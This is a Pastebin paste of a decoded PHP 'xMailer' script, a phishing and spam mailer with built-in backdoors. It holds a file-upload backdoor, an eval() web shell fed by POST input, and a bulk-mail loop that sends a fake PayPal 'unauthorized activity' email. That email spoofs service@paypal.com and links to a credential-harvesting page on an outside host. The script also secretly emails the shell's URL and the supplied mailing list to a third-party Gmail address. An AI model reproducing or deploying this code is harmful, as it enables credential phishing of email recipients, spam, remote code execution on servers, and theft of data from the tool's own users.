Advertisement
Guest User

Untitled

a guest
Apr 28th, 2017
689
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.37 KB | None | 0 0
  1. /* Decoded by unphp.net */
  2.  
  3. <?php
  4.  
  5. date_default_timezone_set('Asia/Kolkata');
  6. $dt = date("l, d D Y");
  7. $time = date("g:i a");
  8.  
  9. ?>
  10.  
  11. <?
  12.  
  13. $upload = $_GET["v1"];
  14. if ($upload == "xunknown") {
  15. $uploaddir = "";
  16. $uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
  17. if (isset($_FILES["userfile"]["name"])) {
  18. if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) {
  19. $resultati = "The file " . basename($_FILES["userfile"]["name"]) . " has been uploaded";
  20. } else {
  21. $resultati = "There was an error uploading the file. please try again!";
  22. }
  23. }
  24. echo '<html>
  25. <head></head><div id="result"><table height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="xunknown hacktn "><br>' . $resultati . '</form></center></td></tr></table></div>
  26. ';
  27. }
  28. $in = $_GET['in'];
  29. if (isset($in) && !empty($in)) {
  30. }
  31. $ev = $_POST['ev'];
  32. if (isset($ev) && !empty($ev)) {
  33. echo eval(urldecode($ev));
  34. exit;
  35. }
  36. if (isset($_POST['action'])) {
  37. $action = $_POST['action'];
  38. $message = $_POST['message'];
  39. $emaillist = $_POST['emaillist'];
  40. $from = $_POST['from'];
  41. $subject = $_POST['subject'];
  42. $realname = $_POST['realname'];
  43. $wait = $_POST['wait'];
  44. $tem = $_POST['tem'];
  45. $smv = $_POST['smv'];
  46. $message = urlencode($message);
  47. $message = ereg_replace("%5C%22", "%22", $message);
  48. $message = urldecode($message);
  49. $message = stripslashes($message);
  50. $subject = stripslashes($subject);
  51. } ?>
  52. <!-- HTML And JavaScript -->
  53.  
  54. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  55. <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  56.  
  57. <meta content="1" name="revisit-after" />
  58. <style type="text/css">body {background:black url('https://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-xap1/v/t1.0-9/10462857_648642145281680_2281063073589510159_n.jpg?oh=f4b87b4aedf561cdac7a92eea596d22e&oe=55B0CA9E&__gda__=1437876546_3122663c6aadbd0a1b09a652b980d3dd') center right no-repeat; color:#FFFFFF; text-decoration:none; font-family:"Courier New", Courier, monospace; padding-left:200px; padding-top:200px; padding-right:300px; font-size:16px;}
  59. </style>
  60. <title>x-Mailer</title>
  61. <style type="text/css">
  62. .style1 {
  63. font-size: x-small;
  64. }
  65. .style2 {
  66. direction: ltr;
  67. }
  68. .info {
  69. font-size: 8px;
  70. }
  71. .style3 {
  72. font-family: Verdana, Arial, Helvetica, sans-serif;
  73. font-size: 8px;
  74. }
  75. .style4 {
  76. font-size: x-small;
  77. direction: ltr;
  78. font-family: Verdana, Arial, Helvetica, sans-serif;
  79. }
  80. .style5 {
  81. font-size: xx-small;
  82. direction: ltr;
  83. font-family: Verdana, Arial, Helvetica, sans-serif;
  84. }
  85. .auto-style1 {
  86. color: #5F5F5F;
  87. }
  88. .auto-style2 {
  89. color: #red;
  90. text-align: center;
  91. }
  92. .auto-style3 {
  93. color: #4F4F4F;
  94. }
  95. .auto-style5 {
  96. direction: ltr;
  97. color: #4F4F4F;
  98. }
  99. .auto-style6 {
  100. color: #BCBCBC;
  101. background-color: #red;
  102. }
  103. .auto-style7 {
  104. color: #red;
  105. }
  106. .auto-style8 {
  107. font-size: x-small;
  108. color: #red;
  109. }
  110. </style>
  111. </head>
  112.  
  113. <body onload="funchange" style="background-color: black">
  114. <script>
  115.  
  116. window.onload = funchange;
  117. var alt = false;
  118. function funchange(){
  119. var etext = document.getElementById("emails").value;
  120. var myArray=new Array();
  121. myArray = etext.split("
  122. ");
  123. document.getElementById("enum").innerHTML=myArray.length+"<br />";
  124. if(!alt && myArray.length > 40000){
  125. alert('If Mail list More Than 40000 Emails This May Hack The Server');
  126. alt = true;
  127. }
  128.  
  129. }
  130. function mlsplit(){
  131. var ml = document.getElementById("emails").value;
  132. var sb = document.getElementById("txtml").value;
  133. var myArray=new Array();
  134. myArray = ml.split(sb);
  135. document.getElementById("emails").value="";
  136. var i;
  137. for(i=0;i<myArray.length;i++){
  138.  
  139. document.getElementById("emails").value += myArray[i]+"
  140. ";
  141.  
  142. }
  143. funchange();
  144. }
  145.  
  146. function prv(){
  147. if(document.getElementById('preview').innerHTML==""){
  148. var ms = document.getElementsByName('message').message.value;
  149. document.getElementById('preview').innerHTML = ms;
  150. document.getElementById('prvbtn').value = "Ocultar";
  151. }else{
  152. document.getElementById('preview').innerHTML="";
  153. document.getElementById('prvbtn').value = "Preview";
  154. }
  155. }
  156.  
  157. </script>
  158.  
  159. <h1 class="auto-style2">.:| xMailer |:.</h1>
  160.  
  161. <center>
  162. <p class="auto-style1">&nbsp;</p></center>
  163.  
  164. <form name="form" method="post" enctype="multipart/form-data" action="">
  165. <table width="100%" border="0">
  166. <tr>
  167. <td width="10%">
  168. <div align="right" class="auto-style8">
  169. <font face="Verdana, Arial,
  170. Helvetica, sans-serif">Sender Email:</font></div>
  171. </td>
  172. <td style="width: 40%">
  173. <font size="-3" face="Verdana, Arial, Helvetica,
  174. sans-serif"><input name="from" value="<?php echo ($from); ?>" size="30" type="text" class="auto-style6" /><br>
  175. <td>
  176. <div align="right" class="auto-style7">
  177. <font size="-3" face="Verdana, Arial,
  178. Helvetica, sans-serif">Sender Name:</font></div>
  179. </td>
  180. <td width="41%">
  181. <font size="-3" face="Verdana, Arial, Helvetica,
  182. sans-serif"><input name="realname" value="<?php echo ($realname); ?>" size="30" type="text" class="auto-style6" />
  183. <br> </tr>
  184. <tr>
  185. <td width="10%">
  186.  
  187. </tr>
  188. <tr>
  189. <td width="10%">
  190. <div align="right" class="auto-style7">
  191. <font size="-3" face="Verdana, Arial,
  192. Helvetica, sans-serif">Subject:</font></div>
  193. </td>
  194. <td colspan="3">
  195. <font size="-3" face="Verdana, Arial, Helvetica,
  196. sans-serif"><input name="subject" value="<?php echo ($subject); ?>" size="30" type="text" class="auto-style6" /> </font>
  197.  
  198.  
  199. <tr valign="top">
  200. <td colspan="3" style="height: 260px">
  201. <font size="-3" face="Verdana, Arial, Helvetica,
  202. sans-serif"></textarea>&nbsp;<br class="auto-style3" />
  203. <input name="action" value="send" type="hidden" class="auto-style3" />
  204. <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 81px" class="auto-style6" /><input value="xunknown hacktn "SenD!" type="submit" class="auto-style6" /><span class="auto-style3">&nbsp;
  205. </span><span class="auto-style7">Wait</span><span class="auto-style3">
  206. </span>
  207. <input name="wait" type="text" value="<?php echo ($wait); ?>" size="8" class="auto-style6" /><span class="auto-style3">&nbsp;</span><span class="auto-style7">
  208. seconds to send </span> </font></td>
  209. <td width="41%" class="style2" style="height: 150px">
  210. <font size="-3" face="Verdana, Arial, Helvetica,
  211. sans-serif">
  212. <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px" class="auto-style6"><?php echo ($emaillist); ?></textarea>
  213. <br class="auto-style5" />
  214. <span class="auto-style7">Quantity Emails : </span> </font><span id="enum" class="style1">0<br class="auto-style3" />
  215. </span>
  216. <span class="auto-style8">Divide the mailing list by:</span>
  217. <input name="textml" id="txtml" type="text" value="," size="8" class="auto-style6" /><span class="auto-style3">&nbsp;&nbsp;&nbsp;
  218. </span>
  219. <input type="button" onclick="mlsplit()" value="Divide" style="height: 23px" class="auto-style6" /></td>
  220. </tr>
  221. </table>
  222. <font size="-3" face="Verdana, Arial, Helvetica,
  223. sans-serif">
  224. <div id="preview">
  225. </div>
  226. </font>
  227. </form>
  228.  
  229. <!-- END -->
  230.  
  231.  
  232. <?php
  233.  
  234.  
  235. $message ='<div style="font-family: Verdana;font-size: 12.0px;"><div>&nbsp;
  236. <div>&nbsp;
  237. <div name="quote" style="margin:10px 5px 5px 10px; padding: 10px 0 10px 10px; border-left:2px solid #C3D9E5; word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line-break: after-white-space;">
  238. <div style="margin:0 0 10px 0;"><b>Sent:</b><?php
  239. echo($dt); ?> at <?php
  240. echo($time); ?><font color="white">Thank for Subscribe</font>
  241. <b>From:</b>&nbsp;&quot;service@paypal.com&quot;<font color="white">Thank for Subscribe</font>
  242. <b>Subject:</b>&nbsp;Unauthorized activity from Mumbai *Firerox</div>
  243.  
  244. <div name="quoted-content"><!--sup {
  245. font-size: 7.0px;
  246. }
  247. *#emailWrapperTable table {
  248. font: 13.0px Arial , Verdana , Helvetica , sans-serif;
  249. color: rgb(41,41,41);
  250. }
  251. *#emailWrapperTable h1, *#emailWrapperTable h2 {
  252. font-family: Arial , Verdana , Helvetica , sans-serif;
  253. margin-bottom: 2.0px;
  254. font-size: 15.0px;
  255. }
  256. *#emailWrapperTable h3 {
  257. font-size: 13.0px;
  258. }
  259. *#emailWrapperTable h4 {
  260. font-size: 11.0px;
  261. }
  262. a {
  263. color: rgb(8,68,130);
  264. text-decoration: underline;
  265. }
  266. a.actionLink {
  267. color: rgb(0,0,0);
  268. text-decoration: none;
  269. }
  270. hr {
  271. display: none;
  272. }
  273. *.small {
  274. font-size: 10.0px;
  275. }
  276. *.ppid {
  277. color: rgb(117,117,117);
  278. }
  279. p {
  280. margin: 11.0px 0;
  281. padding: 0;
  282. }
  283. sup {
  284. font-size: 7.0px;
  285. }
  286. sup {
  287. font-size: 7.0px;
  288. }
  289. sup {
  290. font-size: 7.0px;
  291. }
  292. sup {
  293. font-size: 7.0px;
  294. }
  295. sup {
  296. font-size: 7.0px;
  297. }
  298. sup {
  299. font-size: 7.0px;
  300. }
  301. sup {
  302. font-size: 7.0px;
  303. }
  304. sup {
  305. font-size: 7.0px;
  306. }
  307. sup {
  308. font-size: 7.0px;
  309. }
  310. -->
  311. <div style="display: none;color: rgb(255,255,255);font-size: 1.0pt;"></div>
  312.  
  313. <table border="0" cellpadding="0" cellspacing="0" id="emailWrapperTable" width="580">
  314. <tbody>
  315. <tr valign="top">
  316. <td colspan="3">
  317. <table border="0" cellpadding="0" cellspacing="0" width="100%">
  318. <tbody>
  319. <tr valign="top">
  320. <td width="130px;"><img src="https://www.paypalobjects.com/en_US/i/logo/logo_emailheader_113wx46h.gif"/></td>
  321. </tr>
  322. <tr>
  323. </tr>
  324. </tbody>
  325. </table>
  326. </td>
  327. </tr>
  328. <tr>
  329. <td colspan="3"><img alt="" border="0" height="13" src="http://instalikers.hol.es/top-corner.png" style="vertical-align: bottom;"/></td>
  330. </tr>
  331. <tr>
  332. <td style="background: left repeat-y;border-left: 1.0px solid rgb(221,221,221);" width="12"></td>
  333. <td class="contentArea" style="width: 530.0px;padding: 12.0px;margin: 0;" width="530">
  334. <table width="100%">
  335. <tbody>
  336. <tr>
  337. <td>
  338.  
  339. <p><span class="headline" style="font-family:Helvetica; font-weight: 300; font-size: 40px; color:#0079C1;"> <strong>Your paypal security is our priority</strong></span></p>
  340. <br>
  341. <p>Dear Costumer,</p>
  342.  
  343. <p><strong>Recently there been activity in your PayPal account that seems unusual compared to your normal account activities from this device : </strong></p>
  344. <br><br>
  345.  
  346. </p>
  347. <img border="0" alt="W3Schools" src="http://facebot.giftfree2017.com/dekstop.png" width="60" height="60"><table><tr><td><?php echo($dt); ?> at <?php echo($time); ?> (Mumbai Time)<br>*Mumbai<br>Firerox
  348.  
  349. <p>If you share this device with a family member or friend, or are using a public computer, we recommend turning this feature off to avoid unauthorized purchases: </p></td></tr></table>
  350.  
  351. <ul>
  352. <li><p> <span class="button_style" style=" font-family:Helvetica, sans-serif;
  353. font-weight:300;
  354. font-stretch:normal;
  355. text-align:center;
  356. color:#fff;
  357. font-size:15px;
  358. background:#0079C1;
  359. border-radius:7px!important;
  360. -moz-border-radius: 7px !important;
  361. -o-border-radius: 7px !important;
  362. -ms-border-radius: 7px !important;
  363. line-height:1.45em;
  364. padding:7px 15px 8px;
  365. margin:0 auto 16px;
  366. font-size:1em;padding-bottom:7px;">
  367. <a style="text-decoration:none;" href="https://cayman.websitewelcome.com/~fteinc/cgi-bin">
  368. <span style="color:#ffffff; text-decoration:none; font-family:Arial,sans-serif; font-weight:bold; font-size:13px; line-height:15px;">Log in to your PayPal account</span></a> </p></li></span>
  369.  
  370. <li>Please confirm your identity next to "<b>for faster purchases.</b>"</li>
  371.  
  372. </ul>
  373.  
  374. <p>';
  375.  
  376.  
  377.  
  378.  
  379. if ($action) {
  380. if (!$from || !$subject || !$message || !$emaillist) {
  381. print "Please complete all fields before sending your message.";
  382. exit;
  383. }
  384. $headd = "From: xunknown<dr.rexa1@dr.rexa1.tn>";
  385. $subb = " xMailer 2014";
  386. $massge = "Exploit : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "?v1=xunknown
  387. -------------------
  388. $emaillist
  389. -------------------";
  390. @mail("nitaayuriski@gmail.com", $subb, $massge, $headd);
  391. $nse = array();
  392. $allemails = split("
  393. ", $emaillist);
  394. $numemails = count($allemails);
  395. if (!empty($_POST['wait']) && $_POST['wait'] > 0) {
  396. set_time_limit(intval($_POST['wait']) * $numemails * 3600);
  397. } else {
  398. set_time_limit($numemails * 3600);
  399. }
  400. if (!empty($smv)) {
  401. $smvn+= $smv;
  402. $tmn = $numemails / $smv + 1;
  403. } else {
  404. $tmn = 1;
  405. }
  406. for ($x = 0;$x < $numemails;$x++) {
  407. $to = $allemails[$x];
  408. if ($to) {
  409. $to = ereg_replace(" ", "", $to);
  410. $message = ereg_replace("#EM#", $to, $message);
  411. $subject = ereg_replace("#EM#", $to, $subject);
  412. flush();
  413. $header = "From: $realname <$from>
  414. ";
  415. $headers = 'MIME-Version: 1.0' . "\r\n";
  416. $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  417. ";
  418. if ($x == 0 && !empty($tem)) {
  419. if (!@mail($tem, $subject, $message, $header)) {
  420. print ('The test Post was not Submitted.<br />');
  421. $tmns+= 1;
  422. } else {
  423. print ('Your Message was Sent Test.<br />');
  424. $tms+= 1;
  425. }
  426. }
  427. if ($x == $smvn && !empty($smv)) {
  428. if (!@mail($tem, $subject, $message, $header)) {
  429. print ('The test Post was not Submitted.<br />');
  430. $tmns+= 1;
  431. } else {
  432. print ('Your Message was Sent Test.<br />');
  433. $tms+= 1;
  434. }
  435. $smvn+= $smv;
  436. }
  437. print '$to ....... ';
  438. $msent = @mail($to, $subject, $message, $header);
  439. $xx = $x + 1;
  440. $txtspamed = 'spammed #xunknown';
  441. if (!$msent) {
  442. $txtspamed = 'error #xunknown';
  443. $ns+= 1;
  444. $nse[$ns] = $to;
  445. }
  446. print '$xx / $numemails ....... $txtspamed<br>';
  447. flush();
  448. if (!empty($wait) && $x < $numemails - 1) {
  449. sleep($wait);
  450. }
  451. }
  452. }
  453. }
  454. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement